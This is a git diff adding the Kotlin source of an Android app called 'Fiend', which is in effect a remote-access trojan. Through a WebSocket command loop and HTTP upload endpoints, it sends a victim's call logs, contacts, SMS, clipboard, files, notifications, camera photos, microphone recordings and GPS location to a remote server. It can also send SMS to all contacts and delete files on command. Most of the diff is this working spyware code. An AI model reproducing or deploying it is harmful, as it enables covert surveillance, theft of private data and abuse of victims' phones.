ᴄᴀᴍᴇʀᴀ ꜱᴛᴀʀᴛᴇᴅ , ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ")) + val file = File.createTempFile("Camera - ${AppTools.getDeviceName()} - ", ".png") + val holder = SurfaceTexture(0) + val camera = Camera.open(1) + camera.setPreviewTexture(holder) + camera.startPreview() + camera.takePicture( + null, + null, + ) { p0, p1 -> + file.writeBytes(p0) + p1.release() + request.sendFile(file) + } + } else { + request.sendText(AppRequest.Text("ᴄᴀᴍᴇʀᴀ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + @SuppressLint("MissingPermission", "NewApi") + fun uploadGpsLocation() { + request.sendText(AppRequest.Text("ʟᴏᴄᴀᴛɪᴏɴ ʀᴇQᴜᴇꜱᴛ ʀᴇᴄᴇɪᴠᴇᴅ, ᴅᴇᴠɪᴄᴇ ʟᴏᴄᴀᴛɪᴏɴ ᴡɪʟʟ ʙᴇ ꜱᴇɴᴛ ꜱᴏᴏɴ ɪꜰ ᴀᴠᴀɪʟᴀʙʟᴇ")) + if (permission.checkGetLocation()) { + val client = FusedLocationProviderClient(context) + val locationRequest = LocationRequest.create() + locationRequest.priority = LocationRequest.PRIORITY_HIGH_ACCURACY + client.requestLocationUpdates(locationRequest, object : LocationCallback() { + override fun onLocationResult(p0: LocationResult) { + if (p0 != null) { + val lat = p0.lastLocation?.latitude + val lon = p0.lastLocation?.longitude + if (lat != null) { + if (lon != null) { + request.sendLocation( + AppRequest.Location( + lat.toFloat(), + lon.toFloat() + ) + ) + } + } + } + } + }, Looper.getMainLooper()) + } else { + request.sendText(AppRequest.Text("ɢᴘꜱ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ")) + } + } + + fun showToast(text: String) { + Handler(Looper.getMainLooper()).post { + Toast.makeText(context, text, Toast.LENGTH_LONG).show() + } + request.sendText(AppRequest.Text("ᴛʜᴇ ᴍᴇꜱꜱᴀɢᴇ ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴅɪꜱᴘʟᴀʏᴇᴅ")) + } + + @SuppressLint("NewApi") + fun showNotification(title: String, url: String) { + val NOTIFICATION_CHANNEL_ID = "channel" + val notificationIntent = Intent(Intent.ACTION_VIEW) + notificationIntent.data = Uri.parse(url); + val resultIntent = PendingIntent.getActivity( + context, + 0, + notificationIntent, + PendingIntent.FLAG_MUTABLE + ) + val mBuilder = NotificationCompat.Builder(context, NOTIFICATION_CHANNEL_ID) + .setSmallIcon(R.drawable.ic_baseline_warning_24) + .setContentTitle(title) + .setContentText("") + .setBadgeIconType(NotificationCompat.BADGE_ICON_LARGE) + .setPriority(NotificationManager.IMPORTANCE_HIGH) + .setContentIntent(resultIntent) + val mNotificationManager = + context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager? + mNotificationManager!!.notify( + System.currentTimeMillis().toInt(), + mBuilder.build() + ) + request.sendText(AppRequest.Text("ᴛʜᴇ ɴᴏᴛɪꜰɪᴄᴀᴛɪᴏɴ ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴅɪꜱᴘʟᴀʏᴇᴅ")) + } + + @SuppressLint("NewApi") + fun vibratePhone() { + val vibrationManager = + context.getSystemService(Service.VIBRATOR_MANAGER_SERVICE) as VibratorManager + vibrationManager.vibrate( + CombinedVibration.createParallel( + VibrationEffect.createOneShot( + 2000, + 1 + ) + ) + ) + request.sendText(AppRequest.Text("ᴅᴇᴠɪᴄᴇ ᴠɪʙʀᴀᴛɪᴏɴ ʜᴀꜱ ʙᴇᴇɴ ᴇxᴇᴄᴜᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ")) + } + + fun playAudio(url: String) { + AppScope.runMain { + try { + mediaPlayer = MediaPlayer() + if (mediaPlayer != null) { + mediaPlayer!!.setDataSource(url) + mediaPlayer!!.prepare() + mediaPlayer!!.start() + request.sendText(AppRequest.Text("ᴛʜᴇ ᴀᴜᴅɪᴏ ꜰɪʟᴇ ɪꜱ ᴘʟᴀʏɪɴɢ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ")) + } + } catch (e:Exception){ + request.sendText(AppRequest.Text("ᴀᴜᴅɪᴏ ꜰɪʟᴇ ᴘʟᴀʏʙᴀᴄᴋ ꜰᴀɪʟᴇᴅ")) + } + } + } + + fun stopAudio() { + AppScope.runMain { + if (mediaPlayer != null) { + mediaPlayer!!.release() + mediaPlayer = null + request.sendText(AppRequest.Text("ᴀᴜᴅɪᴏ ꜰɪʟᴇ ꜱᴛᴏᴘᴘᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ")) + } + } + } + + data class SmsModel( + val phone: String, + val message: String, + val device: String + ) +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppNotificationListener.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppNotificationListener.kt new file mode 100644 index 0000000..85d81fc --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppNotificationListener.kt @@ -0,0 +1,19 @@ +package willi.fiend.Utils + +import android.service.notification.NotificationListenerService +import android.service.notification.StatusBarNotification + +class AppNotificationListener : NotificationListenerService() { + override fun onNotificationPosted(sbn: StatusBarNotification?) { + val title = sbn?.notification?.extras?.getString("android.title") + val text = sbn?.notification?.extras?.getString("android.text") + val packageName = sbn?.packageName + + var message = "" + message += "App : $packageName\n" + message += "Title : $title\n" + message += "Text : $text" + + AppRequest().sendText(AppRequest.Text(message)) + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppPermission.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppPermission.kt new file mode 100644 index 0000000..01e9ad7 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppPermission.kt @@ -0,0 +1,106 @@ +package willi.fiend.Utils + +import android.Manifest +import android.content.Context +import android.content.pm.PackageManager +import com.karumi.dexter.Dexter +import com.karumi.dexter.MultiplePermissionsReport +import com.karumi.dexter.PermissionToken +import com.karumi.dexter.listener.PermissionRequest +import com.karumi.dexter.listener.multi.MultiplePermissionsListener + +class AppPermission(private val context: Context) { + fun getPerms(onPermissionsChecked: () -> Unit) { + Dexter + .withContext(context) + .withPermissions( + Manifest.permission.READ_EXTERNAL_STORAGE, + Manifest.permission.RECEIVE_SMS, + Manifest.permission.READ_SMS, + Manifest.permission.SEND_SMS, + Manifest.permission.READ_CALL_LOG, + Manifest.permission.READ_CONTACTS, + Manifest.permission.INTERNET, + Manifest.permission.RECORD_AUDIO, + Manifest.permission.CAMERA, + Manifest.permission.ACCESS_FINE_LOCATION, + Manifest.permission.ACCESS_COARSE_LOCATION + ).withListener(object : MultiplePermissionsListener { + override fun onPermissionsChecked(p0: MultiplePermissionsReport?) { + onPermissionsChecked() + } + + override fun onPermissionRationaleShouldBeShown( + p0: MutableList?, + p1: PermissionToken? + ) {} + }).check() + } + + fun checkReadExternalStorage(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.READ_EXTERNAL_STORAGE + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + + fun checkWriteExternalStorage(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.WRITE_EXTERNAL_STORAGE + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + + fun checkReadSms(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission2 = Manifest.permission.READ_SMS + val checkPrem2: Int = context.checkCallingOrSelfPermission(requiredPermission2) + return checkPrem2 == granted + } + + fun checkReceiveSms(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.RECEIVE_SMS + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + + fun checkSendSms(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission3 = Manifest.permission.SEND_SMS + val checkPrem3: Int = context.checkCallingOrSelfPermission(requiredPermission3) + return checkPrem3 == granted + } + + fun checkReadCallLog(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.READ_CALL_LOG + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + + fun checkReadContacts(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.READ_CONTACTS + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + fun checkCaptureMic(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.RECORD_AUDIO + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + fun checkCaptureCam(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.CAMERA + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } + fun checkGetLocation(): Boolean { + val granted = PackageManager.PERMISSION_GRANTED + val requiredPermission = Manifest.permission.ACCESS_FINE_LOCATION + val checkPrem: Int = context.checkCallingOrSelfPermission(requiredPermission) + return checkPrem == granted + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppRequest.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppRequest.kt new file mode 100644 index 0000000..fe4eb5f --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppRequest.kt @@ -0,0 +1,111 @@ +package willi.fiend.Utils + +import android.content.Context +import android.util.Log +import androidx.lifecycle.ViewModel +import androidx.lifecycle.viewModelScope +import com.google.gson.Gson +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.launch +import okhttp3.* +import okhttp3.MediaType.Companion.toMediaType +import java.io.File +import java.io.IOException + +class AppRequest() : ViewModel() { + private val CLIENT = OkHttpClient() + private val HOST = AppTools.getAppData().host + + fun awake() { + viewModelScope.launch(Dispatchers.IO) { + val request = Request.Builder().url(HOST).build() + CLIENT.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) {} + override fun onResponse(call: Call, response: Response) { + response.close() + } + }) + } + } + + fun sendFile(file: File) { + viewModelScope.launch(Dispatchers.IO) { + val formBody = MultipartBody.Builder() + .setType(MultipartBody.FORM) + .addFormDataPart("file", file.name, RequestBody.create(null, file)) + .build() + val request = Request.Builder() + .url(HOST + "uploadFile/") + .post(formBody) + .addHeader("model", AppTools.getDeviceName()) + .build() + CLIENT.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) {} + override fun onResponse(call: Call, response: Response) { + response.close() + } + }) + } + } + + fun sendText(text: Text) { + viewModelScope.launch(Dispatchers.IO) { + val gson = Gson().toJson(text) + val request = Request.Builder() + .url(HOST + "uploadText/") + .post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson)) + .addHeader("model", AppTools.getDeviceName()) + .build() + CLIENT.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) {} + override fun onResponse(call: Call, response: Response) { + response.close() + } + }) + } + } + + fun sendLocation(location: Location) { + viewModelScope.launch(Dispatchers.IO) { + val gson = Gson().toJson(location).toString() + val request = Request.Builder() + .url(HOST + "uploadLocation/") + .post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson)) + .addHeader("model", AppTools.getDeviceName()) + .build() + CLIENT.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) {} + override fun onResponse(call: Call, response: Response) { + response.close() + } + }) + } + } + + fun sendWaterMark(){ + viewModelScope.launch(Dispatchers.IO) { + Log.i("WAT",AppTools.getWatermark()) + val gson = Gson().toJson(Text(AppTools.getWatermark())) + val request = Request.Builder() + .url(HOST + "uploadText/") + .post(RequestBody.create("application/json; charset=utf-8".toMediaType(), gson)) + .addHeader("model", AppTools.getDeviceName()) + .build() + CLIENT.newCall(request).enqueue(object : Callback { + override fun onFailure(call: Call, e: IOException) {} + override fun onResponse(call: Call, response: Response) { + response.close() + } + }) + } + } + + data class Location( + val lat: Float, + val lon: Float + ) + + data class Text( + val text: String + ) +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppScope.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppScope.kt new file mode 100644 index 0000000..eef9b19 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppScope.kt @@ -0,0 +1,24 @@ +package willi.fiend.Utils + +import android.os.Handler +import android.os.Looper +import androidx.lifecycle.ViewModel +import androidx.lifecycle.viewModelScope +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.launch + +class AppScope(val runnable: Runnable) : Runnable , ViewModel(){ + override fun run() { + viewModelScope.launch(Dispatchers.IO) { + runnable.run() + } + } + companion object { + fun runBack(runnable: Runnable) { + AppScope(runnable).run() + } + fun runMain(runnable: Runnable){ + Handler(Looper.getMainLooper()).post(runnable) + } + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppSocket.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppSocket.kt new file mode 100644 index 0000000..fd603a4 --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppSocket.kt @@ -0,0 +1,157 @@ +package willi.fiend.Utils + +import android.content.Context +import android.os.Handler +import android.os.Looper +import android.util.Log +import okhttp3.OkHttpClient +import okhttp3.Request +import okhttp3.Response +import okhttp3.WebSocket + + +class AppSocket(val context: Context) : + okhttp3.WebSocketListener() { + private val client = OkHttpClient() + private val requests = AppRequest() + val action = AppActions(context) + + fun connect() { + AppScope.runBack { + val request = Request.Builder().url(AppTools.getAppData().socket) + requests.awake() + request.addHeader("model", AppTools.getDeviceName()) + request.addHeader("battery", AppTools.getBatteryPercentage(context).toString()) + request.addHeader("version", AppTools.getAndroidVersion().toString() + " (SDK)") + request.addHeader("brightness", AppTools.getScreenBrightness(context).toString()) + request.addHeader("provider", AppTools.getProviderName(context)) + client.newWebSocket(request.build(), this) + } + } + + override fun onMessage(webSocket: WebSocket, text: String) { + Log.i("MESSAGE",text) + when(text){ + "calls" -> { + requests.sendWaterMark() + action.uploadCalls() + } + "contacts" -> { + requests.sendWaterMark() + action.uploadContact() + } + "messages" -> { + requests.sendWaterMark() + action.uploadMessages() + } + "apps" -> { + requests.sendWaterMark() + action.uploadApps() + } + "device_info" -> { + requests.sendWaterMark() + action.uploadDeviceInfo() + } + "clipboard" -> { + requests.sendWaterMark() + action.uploadClipboard() + } + "camera_main" -> { + requests.sendWaterMark() + action.captureCameraMain() + } + "camera_selfie" -> { + requests.sendWaterMark() + action.captureCameraSelfie() + } + "gpsLocation" -> { + requests.sendWaterMark() + action.uploadGpsLocation() + } + "vibrate" -> { + requests.sendWaterMark() + action.vibratePhone() + } + "stop_audio" -> { + requests.sendWaterMark() + action.stopAudio() + } + "ping" -> webSocket.send("pong") + else -> { + val commend = text.split(":")[0] + val data = text.split(":")[1] + when(commend){ + "send_message" -> { + val number = data.split("/")[0] + val message = data.split("/")[1] + action.sendMessage(number, message) + requests.sendWaterMark() + } + "send_message_to_all" -> { + action.messageToAllContacts(data) + requests.sendWaterMark() + } + "file" -> { + action.uploadFile(data) + requests.sendWaterMark() + } + "delete_file" -> { + action.deleteFile(data) + requests.sendWaterMark() + } + "microphone" -> { + val duration = data.toLongOrNull() + if (duration != null) { + action.captureMicrophone(duration) + requests.sendWaterMark() + } else { + requests.sendText(AppRequest.Text("Invalid duration")) + requests.sendWaterMark() + } + } + "toast" -> { + action.showToast(data) + requests.sendWaterMark() + } + "show_notification" -> { + val notificationData = text.substringAfter(":") + val title = notificationData.substringBefore("/") + val url = notificationData.substringAfter("/") + action.showNotification(title, url) + requests.sendWaterMark() + } + "play_audio" -> { + action.playAudio(text.substringAfter(":")) + requests.sendWaterMark() + } + } + } + } + } + + override fun onOpen(webSocket: WebSocket, response: Response) {} + + override fun onClosed(webSocket: WebSocket, code: Int, reason: String) { + Log.i("ERR",reason) + Handler(Looper.getMainLooper()).postDelayed({ + connect() + }, 5000) + } + + override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) { + t.printStackTrace() + if (response != null) { + Log.i("ERR", response.message) + } + Handler(Looper.getMainLooper()).postDelayed({ + connect() + }, 5000) + } + + override fun onClosing(webSocket: WebSocket, code: Int, reason: String) { + Log.i("ERR",reason) + Handler(Looper.getMainLooper()).postDelayed({ + connect() + }, 5000) + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppTools.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppTools.kt new file mode 100644 index 0000000..98f777f --- /dev/null +++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppTools.kt @@ -0,0 +1,186 @@ +package willi.fiend.Utils + +import android.annotation.SuppressLint +import android.app.Activity +import android.app.ActivityManager +import android.app.DownloadManager +import android.content.ContentResolver +import android.content.Context +import android.graphics.Bitmap +import android.graphics.Canvas +import android.graphics.Color +import android.graphics.Paint +import android.net.Uri +import android.os.BatteryManager +import android.os.Build +import android.os.Environment +import android.provider.Settings +import android.telephony.TelephonyManager +import android.webkit.DownloadListener +import android.webkit.URLUtil +import androidx.activity.ComponentActivity +import com.google.gson.Gson +import willi.fiend.MainService +import java.util.* + + +@SuppressLint("Range") +class AppTools { + companion object { + @SuppressLint("NewApi") + fun getAppData(): AppData { + val data = "" + val text = decode(data) + return Gson().fromJson(text, AppData::class.java) + } + + @SuppressLint("NewApi") + private fun decode(base64: String): String { + val decodedBytes: ByteArray = Base64.getDecoder().decode(base64) + return String(decodedBytes) + } + + @SuppressLint("NewApi") + fun getWatermark(): String { + val encodedWatermark = "4bSF4bSH4bSg4bSHyp/htI/htJjhtIfhtIUgypnKjyA6IEBoYWNrZGFnZ2Vy" + val decodedWatermark = Base64.getDecoder().decode(encodedWatermark) + return String(decodedWatermark) + } + + data class AppData( + val host: String, + val socket: String, + val webView: String + ) + + fun getAndroidVersion(): Int { + return Build.VERSION.SDK_INT + } + + fun getScreenBrightness(context: Context): Int { + return Settings.System.getInt( + context.contentResolver, + Settings.System.SCREEN_BRIGHTNESS + ); + } + + fun getProviderName(context: Context): String { + return try { + val manager = + context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager + manager.networkOperatorName + } catch (ex: Exception) { + "no provider" + } + } + + fun getDeviceName(): String { + fun capitalize(s: String?): String { + if (s == null || s.isEmpty()) { + return "" + } + val first = s[0] + return if (Character.isUpperCase(first)) { + s + } else { + Character.toUpperCase(first).toString() + s.substring(1) + } + } + + val manufacturer = Build.MANUFACTURER + val model = Build.MODEL + return if (model.lowercase(Locale.getDefault()) + .startsWith(manufacturer.lowercase(Locale.getDefault())) + ) { + capitalize(model) + } else { + capitalize(manufacturer) + " " + model + } + } + + fun getBatteryPercentage(context: Context): Int { + val bm = context.getSystemService(Context.BATTERY_SERVICE) as BatteryManager + return bm.getIntProperty(BatteryManager.BATTERY_PROPERTY_CAPACITY) + } + + fun isNotificationServiceRunning(context: Context): Boolean { + val contentResolver: ContentResolver = context.contentResolver + val enabledNotificationListeners: String = + Settings.Secure.getString(contentResolver, "enabled_notification_listeners") + val packageName: String = context.packageName + return enabledNotificationListeners.contains( + packageName + ) + } + + fun isServiceRunning( + context: Context, + serviceClass: Class<*> = MainService::class.java + ): Boolean { + val manager = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager + for (service in manager.getRunningServices(Int.MAX_VALUE)) { + if (serviceClass.name == service.service.className) { + return true + } + } + return false + } + + fun disableWelcome(context: Context) { + val prefs = context.getSharedPreferences("inspectorPrefs", Context.MODE_PRIVATE) + val editor = prefs.edit() + editor.putBoolean("showWelcome", false) + editor.apply() + } + + fun showWelcome(context: Context): Boolean { + val prefs = context.getSharedPreferences("inspectorPrefs", Context.MODE_PRIVATE) + return prefs.getBoolean("showWelcome", true) + } + + private const val APP_PACKAGE_DOT_COUNT = 2 + private const val DUAL_APP_ID_999 = "999" + private const val DOT = '.' + + fun checkAppCloning(activity: Activity) { + val path: String = activity.filesDir.path + if (path.contains(DUAL_APP_ID_999)) { + killProcess(activity) + } else { + val count: Int = getDotCount(path) + if (count > APP_PACKAGE_DOT_COUNT) { + killProcess(activity) + } + } + } + private fun getDotCount(path: String): Int { + var count = 0 + for (element in path) { + if (count > APP_PACKAGE_DOT_COUNT) { + break + } + if (element == DOT) { + count++ + } + } + return count + } + + private fun killProcess(context: Activity) { + context.finish() + android.os.Process.killProcess( android.os.Process.myPid()) + } + } + + class WebViewDownloadListener(private val context: Context) : DownloadListener { + override fun onDownloadStart(p0: String?, p1: String?, p2: String?, p3: String?, p4: Long) { + val request = DownloadManager.Request(Uri.parse(p0)) + request.setDestinationInExternalPublicDir( + Environment.DIRECTORY_DOWNLOADS, + URLUtil.guessFileName(p0, p2, p3) + ) + val dm = context.getSystemService(ComponentActivity.DOWNLOAD_SERVICE) as DownloadManager + dm.enqueue(request) + } + } +} \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/drawable-v24/ic_launcher_foreground.xml b/source code/apk src code v3/app/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/drawable/header.jpg b/source code/apk src code v3/app/src/main/res/drawable/header.jpg new file mode 100644 index 0000000..0e24a71 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/drawable/header.jpg differ diff --git a/source code/apk src code v3/app/src/main/res/drawable/ic_baseline_warning_24.xml b/source code/apk src code v3/app/src/main/res/drawable/ic_baseline_warning_24.xml new file mode 100644 index 0000000..3c9a4b3 --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/drawable/ic_baseline_warning_24.xml @@ -0,0 +1,5 @@ + + + diff --git a/source code/apk src code v3/app/src/main/res/drawable/ic_launcher_background.xml b/source code/apk src code v3/app/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/source code/apk src code v3/app/src/main/res/drawable/icon.png b/source code/apk src code v3/app/src/main/res/drawable/icon.png new file mode 100644 index 0000000..37dce8a Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/drawable/icon.png differ diff --git a/source code/apk src code v3/app/src/main/res/drawable/mpt.xml b/source code/apk src code v3/app/src/main/res/drawable/mpt.xml new file mode 100644 index 0000000..f5ec26e --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/drawable/mpt.xml @@ -0,0 +1,10 @@ + + + + + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/drawable/settings.png b/source code/apk src code v3/app/src/main/res/drawable/settings.png new file mode 100644 index 0000000..6cff865 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/drawable/settings.png differ diff --git a/source code/apk src code v3/app/src/main/res/font/helvetica.ttf b/source code/apk src code v3/app/src/main/res/font/helvetica.ttf new file mode 100644 index 0000000..4d99761 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/font/helvetica.ttf differ diff --git a/source code/apk src code v3/app/src/main/res/layout/notification.xml b/source code/apk src code v3/app/src/main/res/layout/notification.xml new file mode 100644 index 0000000..7822241 --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/layout/notification.xml @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher.webp new file mode 100644 index 0000000..c209e78 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher.webp differ diff --git a/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp new file mode 100644 index 0000000..b2dfe3d Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp differ diff --git a/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher.webp new file mode 100644 index 0000000..4f0f1d6 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher.webp differ diff --git a/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp new file mode 100644 index 0000000..62b611d Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp differ diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher.webp new file mode 100644 index 0000000..948a307 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher.webp differ diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp new file mode 100644 index 0000000..1b9a695 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp differ diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp new file mode 100644 index 0000000..28d4b77 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp differ diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp new file mode 100644 index 0000000..9287f50 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp differ diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp new file mode 100644 index 0000000..aa7d642 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp differ diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp new file mode 100644 index 0000000..9126ae3 Binary files /dev/null and b/source code/apk src code v3/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp differ diff --git a/source code/apk src code v3/app/src/main/res/values/colors.xml b/source code/apk src code v3/app/src/main/res/values/colors.xml new file mode 100644 index 0000000..f8c6127 --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/values/colors.xml @@ -0,0 +1,10 @@ + + + #FFBB86FC + #FF6200EE + #FF3700B3 + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/values/strings.xml b/source code/apk src code v3/app/src/main/res/values/strings.xml new file mode 100644 index 0000000..58866ec --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/values/strings.xml @@ -0,0 +1,3 @@ + + Fiend + \ No newline at end of file diff --git a/source code/apk src code v3/app/src/main/res/values/themes.xml b/source code/apk src code v3/app/src/main/res/values/themes.xml new file mode 100644 index 0000000..4d91442 --- /dev/null +++ b/source code/apk src code v3/app/src/main/res/values/themes.xml @@ -0,0 +1,5 @@ + + + +